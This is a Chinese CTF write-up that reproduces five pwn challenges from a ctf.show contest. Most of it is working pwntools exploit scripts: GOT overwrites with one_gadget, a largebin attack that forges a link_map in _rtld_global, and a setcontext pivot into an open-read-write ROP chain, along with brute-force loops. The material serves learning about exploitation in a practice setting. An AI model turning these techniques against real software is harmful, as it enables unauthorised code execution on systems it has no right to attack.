当前位置:   article > 正文

[ctf.show 元旦水友杯 2024] pwn复现_ctfshow badboy

ctfshow badboy

只会两个,后边跟着官WP慢慢复现3题

BadBoy

这题还是新比较简单的

有两次泄露机会,第1次6字节,第2次3字节,可以分别泄露栈地址和libc(__libc_start_main_ret)的中3字节(高字节一般是7f,低2字节其中12位固定,只差4位)小爆一下

PIE未开在输入偏移v5的时候,允许负值,这样就能写到got表了,直接整个one就行

  1. from pwn import *
  2. libc = ELF('./libc.so.6')
  3. elf = ELF('./BadBoy-2')
  4. context(arch='amd64', log_level='debug')
  5. #p = process('./BadBoy-2')
  6. p = remote('pwn.challenge.ctf.show', 28201)
  7. #gdb.attach(p, "b*0x400993\nc")
  8. #leak stack
  9. '''
  10. 0x00007fffffffde30│+0x0000: 0x18000000004009c0 ← $rsp
  11. 0x00007fffffffde38│+0x0008: 0x0000000000000000
  12. 0x00007fffffffde40│+0x0010: 0x0067666564636261 ("abcdefg"?)
  13. 0x00007fffffffde48│+0x0018: 0x9cc00e4f382f5800
  14. 0x00007fffffffde50│+0x0020: 0x00000000004009c0 → <__libc_csu_init+0> push r15 ← $rbp
  15. 0x00007fffffffde58│+0x0028: 0x00007ffff7821c87 → <__libc_start_main+231> mov edi, eax ← $rsi
  16. 0x00007fffffffde60│+0x0030: 0x0000000000000001
  17. 0x00007fffffffde68│+0x0038: 0x00007fffffffdf38 → 0x00007fffffffe28c → "/home/kali/ctf/0110/BadBoy-2"
  18. '''
  19. p.sendlineafter(b"i am bad boy \n", b'40')
  20. buf_addr = u64(p.recv(6)+b'\0'*2) -0xf8
  21. print(f"{buf_addr = :x}")
  22. #leak libc
  23. p.sendlineafter(b"i am bad boy \n", str(24+2).encode())
  24. libc.address = u64(b'\x87\x1c'+p.recv(3)+b'\x7f\x00\x00') - 231 - libc.sym['__libc_start_main'] #1/16
  25. print(f"{libc.address = :x}")
  26. one = [0x4f2a5, 0x4f302, 0x10a2fc]
  27. #got.puts->one
  28. p.sendafter(b"because i'm not girl ", b'xxx')
  29. p.sendlineafter(b"so can you fell me? ", str(elf.got['puts'] - buf_addr).encode())
  30. p.sendafter(b"HaHaHa ", p64(libc.address + one[2])[:3])
  31. p.interactive()

 s.s.a.l

这个也很简单,先作个小的爆破求一个随机数让它在bss里生成/bin/sh,然后有个栈溢出用01 5d 3c这个gadget

  1. from ctypes import *
  2. clibc = cdll.LoadLibrary('./libc.so.6')
  3. for i in range(0x100000000):
  4. clibc.srand(i)
  5. r = [clibc.rand()%6 for i in range(7)]
  6. if r == [1,5,3,4,1,2,0]:
  7. print(i, r)
  8. break
  9. #38856 [1, 5, 3, 4, 1, 2, 0]

然后是个简单的栈溢出题,由于尾部给了rbx,rbp可以直接用gadget修改srand的got表为system

  1. from pwn import *
  2. libc = ELF('./libc.so.6')
  3. elf = ELF('./s.s.a.l')
  4. context(arch='amd64', log_level='debug')
  5. #p = process('./s.s.a.l')
  6. p = remote('pwn.challenge.ctf.show', 28237)
  7. pop_rdi = 0x400832
  8. sym_d = 0x601090
  9. add_dword_rbp_0x3d_ebx_ret = 0x00400738 # 0: 01 5d c3 add DWORD PTR [rbp-0x3d], ebx
  10. p.send(b'\x00'*0x50)
  11. p.sendline(b'38856')
  12. #rsp: 4,v5,v6,v7 , x, rbx, rbp, ret
  13. pay = b'A'*6 + flat(0, libc.sym['system']-libc.sym['srand'],elf.got['srand']+0x3d,add_dword_rbp_0x3d_ebx_ret ,pop_rdi, sym_d, elf.plt['srand'])
  14. p.send(pay)
  15. p.interactive()

 Happy_New_Year

后边这两个题就不会了,看了WP,原来是调用了link_map结构,这个原来好像没用过,没印象.特意复现一下.(两题是一样的,但使用的libc不一样,前边给了2.27,好像后边一个要用2.31这个不用吐嘈了反正就这样)

标准的堆题在free有UAF,但是add里有两项卡点,一个是calloc建块,这样tcache的攻击就用不了了,只能用fastbin,largebin这种,另一个是块最小0x80这样,fastbin的错位也找不着,刚开始一直找错位后来看WP原来是用的largebinAttack

原来用过exit_hook这们位于_rtld_global+0xf00处,但这个显然无法写这个位置

思路其实挺简单,用largebinAttack将chunk[2]的地址写到rtld_global,这里是个link_map结构的指针,这样一个fake_link_map就指向了chunk[2],这样把one写上就OK了

  1. from pwn import *
  2. libc = ELF('./libc.so.6')
  3. context(arch='amd64', log_level='debug')
  4. menu = b'\xc2\xa5'*6
  5. def add(idx, size=0xf8):
  6. p.sendlineafter(menu, b'1')
  7. p.sendlineafter(b"index:\n", str(idx).encode())
  8. p.sendlineafter(b"Size:\n", str(size).encode())
  9. def show(idx):
  10. p.sendlineafter(menu, b'2')
  11. p.sendlineafter(b"index:\n", str(idx).encode())
  12. p.recvuntil(b"context: \n")
  13. def edit(idx, msg):
  14. p.sendlineafter(menu, b'3')
  15. p.sendlineafter(b"index:\n", str(idx).encode())
  16. p.sendafter(b"context: \n", msg)
  17. def free(idx):
  18. p.sendlineafter(menu, b'4')
  19. p.sendlineafter(b"index:\n", str(idx).encode())
  20. #p = process('./pwn03')
  21. p = remote('pwn.challenge.ctf.show', 28109)
  22. add(0, 0x428)
  23. add(1, 0x500)
  24. add(2, 0x418)
  25. free(0)
  26. add(3, 0x500) #0 unsort->largebin
  27. show(0)
  28. large_430 = u64(p.recv(6).ljust(8, b'\x00'))
  29. libc_base = large_430 - 0x3ec090
  30. edit(0, b'A'*0x10)
  31. show(0)
  32. p.recv(0x10)
  33. heap_self = u64(p.recv(6).ljust(8, b'\x00'))
  34. heap_base = heap_self - 0x250
  35. print(f"{libc_base =:x} {heap_self =:x}")
  36. '''
  37. gef➤ x/4gx 0x555555a01260
  38. 0x555555a01260: 0x00007ffff7bec090 0x00007ffff7bec090
  39. 0x555555a01270: 0x0000555555a01250 0x0000555555a01250
  40. gef➤ x/4gx &_rtld_global
  41. 0x7ffff7e2a060 <_rtld_global>: 0x00007ffff7e2b170 0x0000000000000004
  42. 0x7ffff7e2a070 <_rtld_global+16>: 0x00007ffff7e2b428 0x0000000000000000
  43. 0x7ffff7e2a080 <_rtld_global+32>: 0x0000000000000000
  44. '''
  45. ld_remote_off = 0xf000
  46. rtld_global = libc_base + 0x62a060 - ld_remote_off #+ 0x61b060 #local 0x62a060
  47. free(2)
  48. edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))
  49. add(4, 0x500)
  50. '''
  51. gef➤ x/8gx &_rtld_global
  52. 0x7ffff7e2a060 <_rtld_global>: 0x0000555555a01780 <--chunk[2] 0x0000000000000004
  53. 0x7ffff7e2a070 <_rtld_global+16>: 0x00007ffff7e2b428 0x0000000000000000
  54. '''
  55. #one = libc_base + 0x4f2a5 #rsp & 0xf == 0 rcx == NULL
  56. one = libc_base + 0x4f302 #[rsp+0x40] == NULL
  57. #one = libc_base + 0x10a2fc #[rsp+0x70] == NULL
  58. chunk_base = heap_base +0xb90
  59. link_map=p64(0)*1
  60. link_map+=p64(libc_base+0x62b710 - ld_remote_off) #61c710
  61. link_map+=p64(0)
  62. link_map+=p64(chunk_base)
  63. link_map+=p64(0)*28
  64. link_map+=p64(chunk_base + 0x110)
  65. link_map+=p64(chunk_base + 0x110+0x20)
  66. link_map+=p64(chunk_base + 0x110+0x10)
  67. link_map+=p64(8)
  68. link_map+=p64(one)
  69. link_map+=p64(heap_base+0xb90)
  70. link_map+=p64(0)*58
  71. link_map+=p64(0x800000000)
  72. edit(2, link_map)
  73. '''
  74. gef➤ x/200gx 0x555555a01790
  75. 0x555555a01ba0: 0x0000000000000000 0x00007ffff7e1c710
  76. 0x555555a01bb0: 0x0000000000000000 0x0000555555a01b90 <--chunk[2]
  77. ...28
  78. 0x555555a01ca0: 0x0000555555a01ca0 0x0000555555a01cc0 <--self,+20
  79. 0x555555a01cb0: 0x0000555555a01cb0 0x0000000000000008 <--self
  80. 0x555555a01cc0: 0x00007ffff784f302 <--one 0x0000555555a01b90 <--chunk[2]
  81. ...58
  82. 0x555555a01ea0: 0x0000000800000000 0x0000000000000000
  83. '''
  84. p.sendlineafter(menu, b'5')
  85. #gdb.attach(p)
  86. #pause()
  87. p.interactive()

这里也需要一个小爆破,虽然同一版本的libc加载的libc位置与ld位置偏移固定,但在不同环境下这个值不同,一般docker上的会小,不过这个差不会太大,经过爆破本地与远程差0xf页

写官Wp都是些大牛,他们以为很简单的事,其实慢慢理解需要很长时间,只能一点点试.特别是只写一个数字的情况下,这个数字什么意思又得慢慢找,毕竟自己的环境与远程环境还有官WP的环境还是有差别的.

Heap_Harmony_Festivity

 这题没给libc这个如果不看WP作出来似乎有点难,因为hook这东西一般放在可写区里与代码需要分页的,所以在同一个大版本下基本是相同的,但是要想得到准确的libc就比较困难了,你不可能爆破到所有版本.而且这个2.31-0u9也不是很常见,而且题目并没有对exec的限制,但似乎真要用.

在link_map里调用一个set_context+0x3d填充寄存器,然后调用read,再由read读入后续的PAYLOAD执行orw

复现的时候尽量去掉了官WP里的直接加的数字,并在注释里写了代码的意义.以备后用吧.

  1. from pwn import *
  2. libc = ELF('./libc-2.31.so') #GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31.
  3. context(arch='amd64', log_level='debug')
  4. menu = b'\xc2\xa5'*6
  5. def add(idx, size=0xf8):
  6. p.sendlineafter(menu, b'1')
  7. p.sendlineafter(b"index:\n", str(idx).encode())
  8. p.sendlineafter(b"Size:\n", str(size).encode())
  9. def show(idx):
  10. p.sendlineafter(menu, b'2')
  11. p.sendlineafter(b"index:\n", str(idx).encode())
  12. p.recvuntil(b"context: \n")
  13. def edit(idx, msg):
  14. p.sendlineafter(menu, b'3')
  15. p.sendlineafter(b"index:\n", str(idx).encode())
  16. p.sendafter(b"context: \n", msg)
  17. def free(idx):
  18. p.sendlineafter(menu, b'4')
  19. p.sendlineafter(b"index:\n", str(idx).encode())
  20. p = process('./pwn04')
  21. #p = remote('pwn.challenge.ctf.show', 28109)
  22. add(0, 0x428)
  23. add(1, 0x500)
  24. add(2, 0x418)
  25. free(0)
  26. #show(0)
  27. add(3, 0x500) #0 unsort->largebin
  28. '''
  29. 0x7ffff7fc0fe0: 0x0000555555a01290 0x0000555555a01290 largebin
  30. 0x555555a012a0: 0x00007ffff7fc0fd0 0x00007ffff7fc0fd0
  31. 0x555555a012b0: 0x0000555555a01290 0x0000555555a01290 -> heap_self -> rtld_global - 0x20
  32. '''
  33. show(0)
  34. large_430 = u64(p.recv(6).ljust(8, b'\x00'))
  35. libc_base = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook']
  36. edit(0, b'A'*0x10)
  37. show(0)
  38. p.recv(0x10)
  39. heap_self = u64(p.recv(6).ljust(8, b'\x00'))
  40. heap_base = heap_self - 0x290
  41. ld_remote_off = 0
  42. #ld_remote_off = 0x6000
  43. rtld_global = libc_base + 0x228060 - ld_remote_off
  44. print(f"{libc_base =:x} {large_430 =:x} {rtld_global =:x} {heap_self =:x}")
  45. free(2)
  46. edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))
  47. add(4, 0x500)
  48. '''
  49. 0x7ffff7ffd060 <_rtld_global>: 0x00007ffff7ffe190 0x0000000000000004
  50. 0x7ffff7ffd060 <_rtld_global>: 0x0000555555a01bd0 -> chunk2
  51. '''
  52. libc.address = libc_base
  53. one = libc_base + 0x4f302 #[rsp+0x40] == NULL
  54. pop_rdi = libc_base+0x26b72
  55. pop_rsi = libc_base+0x27529
  56. pop_rdx = libc_base+0x11c1e1 #pop rdx;pop r12;ret
  57. setcontext_3d = libc.sym['setcontext'] + 0x3d
  58. chunk_base = heap_base + 0xbd0
  59. link_map=p64(0)
  60. link_map+=p64(rtld_global+0x16e0)
  61. link_map+=p64(0)
  62. link_map+=p64(chunk_base)
  63. link_map+=p64(0)*28
  64. link_map+=p64(chunk_base+0x110)
  65. link_map+=p64(chunk_base+0x110+0x20)
  66. link_map+=p64(chunk_base+0x110+0x10)
  67. link_map+=p64(0x20)
  68. link_map+=b"flag\x00\x00\x00\x00"
  69. link_map+=p64(chunk_base)
  70. link_map+=p64(setcontext_3d)
  71. link_map+=p64(pop_rdi+1) #ret
  72. link_map+=p64(0)*12
  73. link_map+=p64(0)
  74. link_map+=p64(chunk_base+0x1f8)
  75. link_map+=p64(0)*2
  76. link_map+=p64(0x100)
  77. link_map+=p64(0)*2
  78. link_map+=p64(chunk_base+0x1f8)
  79. link_map+=p64(libc.sym['read']) #read(0, chunk_base+0x238, 0x100)
  80. link_map+=p64(0)*36
  81. link_map+=p64(0x800000000)
  82. edit(2, link_map)
  83. '''
  84. 0x7ffff7ffd060 <_rtld_global>: 0x0000555555a01bd0 0x0000000000000004
  85. 0x7ffff7ffd070 <_rtld_global+16>: 0x00007ffff7ffe450 0x0000000000000000
  86. 0x555555a01bd0: 0x0000000000000000 0x0000000000000421
  87. 0x555555a01be0: 0x0000000000000000 0x00007ffff7ffe740
  88. 0x555555a01bf0: 0x0000000000000000 0x0000555555a01bd0 (chunk[2])
  89. ...28
  90. 0x555555a01ce0: 0x0000555555a01ce0 (self) 0x0000555555a01d00 (flag)
  91. 0x555555a01cf0: 0x0000555555a01cf0 (self) 0x0000000000000020
  92. 0x555555a01d00: 0x0000000067616c66 ('flag') 0x0000555555a01bd0 (chunk[2])
  93. 0x555555a01d10: 0x00007ffff7e2d0dd (setcontext+0x3d) 0x00007ffff7dfbb73 (ret)
  94. ...12
  95. 0x555555a01d80: 0x0000000000000000 (+68 rdi) 0x0000555555a01dc8 (+70 rsi read后移栈)
  96. 0x555555a01d90: 0x0000000000000000 0x0000000000000000
  97. 0x555555a01da0: 0x0000000000000100 (+88 rdx) 0x0000000000000000
  98. 0x555555a01db0: 0x0000000000000000 0x0000555555a01dc8 (+A0 rsp)
  99. 0x555555a01dc0: 0x00007ffff7ee5fa0 (read) 0x0000000000000000 <-- orw_payload读到这里,rsp也移到这里执行
  100. ...36
  101. 0x555555a01ee0: 0x0000000000000000 0x0000000800000000
  102. '''
  103. '''
  104. #setcontext
  105. .text:00000000000580A0 ; __int64 __fastcall setcontext(__int64)
  106. .text:00000000000580A0 public setcontext ; weak
  107. .text:00000000000580DD mov rsp, [rdx+0A0h]
  108. .text:00000000000580E4 mov rbx, [rdx+80h]
  109. .text:00000000000580EB mov rbp, [rdx+78h]
  110. .text:00000000000580EF mov r12, [rdx+48h]
  111. .text:00000000000580F3 mov r13, [rdx+50h]
  112. .text:00000000000580F7 mov r14, [rdx+58h]
  113. .text:00000000000580FB mov r15, [rdx+60h]
  114. .text:00000000000580FF test dword ptr fs:48h, 2
  115. .text:000000000005810B jz loc_581C6
  116. .text:00000000000581C6 mov rcx, [rdx+0A8h]
  117. .text:00000000000581CD push rcx
  118. .text:00000000000581CE mov rsi, [rdx+70h]
  119. .text:00000000000581D2 mov rdi, [rdx+68h]
  120. .text:00000000000581D6 mov rcx, [rdx+98h]
  121. .text:00000000000581DD mov r8, [rdx+28h]
  122. .text:00000000000581E1 mov r9, [rdx+30h]
  123. .text:00000000000581E5 mov rdx, [rdx+88h]
  124. .text:00000000000581EC xor eax, eax
  125. .text:00000000000581EE retn
  126. '''
  127. #gdb.attach(p)
  128. #pause()
  129. p.sendlineafter(menu, b'5')
  130. #orw
  131. flag_addr = chunk_base+0x130
  132. orw = flat([pop_rdi, flag_addr, pop_rsi,0, libc.sym['open'],
  133. pop_rdi, 3, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['read'],
  134. pop_rdi, 1, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['write']])
  135. p.send(orw)
  136. p.interactive()

yes_or_no

这题要说难度也没啥,就是一般人不会想到.有一个栈溢出,但是无法找到需要的gadget而已.在官WP里利用一个ld的指针,爆破12位写one,成功率1/4096一般人想不要这种情况.不会爆破这么大.用官WP也没爆也,放弃了.

当写溢出后再调回原函数rsp会+8这样下去一点点下移在移到ld的地址时写ld地址的后3字节成one当加载地址为xxxx000000里可以成功.

  1. from pwn import *
  2. context(arch='amd64', log_level='error')
  3. pop_r12 = 0x401176
  4. pop_r15 = 0x401179
  5. call_yes = 0x401150
  6. #libc.address = ......000000
  7. pay = flat(0,0,0,0,0,pop_r12,0,call_yes) + flat(0,0,0,0,0,pop_r15,0,call_yes)*6 + b'\x00'*0x28 + b'\x2e\x3b\x0e'
  8. i=0
  9. while True:
  10. p = process('./pwn05')
  11. #p = remote('pwn.challenge.ctf.show', 28201)
  12. #gdb.attach(p, "b*0x401173\nc")
  13. print(i)
  14. i+=1
  15. p.send(pay)
  16. sleep(0.2)
  17. try:
  18. p.sendline(b'echo ok')
  19. if b'ok' in p.recv():
  20. context.log_level = 'debug'
  21. #p.sendline(b'cat /flag')
  22. p.interactive()
  23. except KeyboardInterrupt:
  24. break
  25. except:
  26. p.close()
  27. '''
  28. 0x00007fffffffde20│+0x0000: 0x4141414141414141 ← $rsp, $rsi
  29. 0x00007fffffffde28│+0x0008: 0x00007ffff7e1be0a → add BYTE PTR [rax], al
  30. 0x00007fffffffde30│+0x0010: 0x0000000000000000
  31. 0x00007fffffffde38│+0x0018: 0x0000000000000000
  32. 0x00007fffffffde40│+0x0020: 0x00007fffffffde50 → 0x0000000000000000 ← $rbp, $r15
  33. 0x00007fffffffde48│+0x0028: 0x000000000040113e → <main+24> nop
  34. 0x00007fffffffde50│+0x0030: 0x0000000000000000
  35. ...
  36. 0x00007fffffffdef0│+0x00d0: 0x00007ffff7ffe190 → 0x0000000000000000
  37. '''

一直想有没有更好的办法,以后慢慢想吧 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/人工智能uu/article/detail/807672
推荐阅读
相关标签
  

闽ICP备14008679号